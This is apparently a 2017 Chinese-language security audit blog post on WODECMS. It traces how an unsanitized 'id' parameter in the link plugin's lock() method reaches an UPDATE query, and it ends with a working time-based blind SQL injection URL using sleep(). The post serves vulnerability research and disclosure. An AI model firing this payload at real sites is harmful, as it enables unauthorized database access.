对wodecms的一次审计

Posted by sp4rk on October 20, 2017

0x01 前言

下载链接:WODECMS开源内容管理系统,这个cms的漏洞有前台注入,漏洞触发点是在插件里面的友情链接中。

0x02 分析

我们先看根目录的plugins.php,30行这里实例化了类,

$control = new Controller();
$control->Plugin();

这里我们跟踪Controllor类和Plugin()方法,先看Plugin()方法,/WODECMS/core/controller.class.php中74行

public function Plugin() {
		$module = StringUtil::new_html_special_chars ( $_GET ['dir'] );
		$controlFile = ROOT_PATH . '/plugins/' . $module . '/Main.class.php';
		if (! file_exists ( $controlFile )) {
			$this->setValue ( "error", '访问异常或者插件未安装' );
			$this->forward ( "error.html" );
			exit ();
		}

可以看到这里需要get传入一个dir参数,控制文件在/plugins/目录下的Main.class.php中,我们再看Main.class.php中14行和第173行

class Main extends controller {
	public $objName = 'link';
......
......
    public function lock() {
    	$msgObj = new Msg();
        $_Obj = M($this->objName);
        $sql = "update ".$_Obj->table." set yz = 0 where id = " . $_GET['id'];
        $_Obj->query($sql);
        $msgObj->addMsg('warn', Config::lang("LOCKSUCCESS"));
        $this->linkSortList();
    }

这里意思是说,lock方法中,link经过M方法

function M($modelName) {
	$baseClassPath = ROOT_PATH . '/' . APP_PATH . '/data/bean/' . $modelName . 'Base.class.php'; //base类,字段缓存
	$baseModelPath = ROOT_PATH . '/' . APP_PATH . '/model/' . $modelName . 'Action.class.php'; //action类
	if (! file_exists ( $baseClassPath )) {
		createFieldKeys ( $modelName ); //自动创建字段缓存
	}
	if (! file_exists ( $baseModelPath )) {
		createBaseModel ( $modelName ); //自动创建Action类
	}
	$modelName = $modelName . "Action";
	if (! class_exists ( $modelName, false )) {
		include ($baseClassPath);
		include ($baseModelPath);
	}
	! file_exists ( $baseModelPath ) && exit ( Config::lang ( "MODEL" ) . $modelName . Config::lang ( "NOTEXISTS" ) );
	! class_exists ( $modelName ) && exit ( Config::lang ( "MODEL" ) . $modelName . Config::lang ( "NOTDEFINED" ) );
	$model = new $modelName ();
	return $model;
}

被实例化,返回为一个$moudle,然后经过sql语句update操作,这里我们可以看到其中$_GET[‘id’]没有保护,可造成注入。 理清楚了路由规则后,我们可以开始构造exp:

http://localhost/plugins.php?dir=link&do=lock&id=1 and (select * from (select(sleep(8)))aaa)#

可以发现延时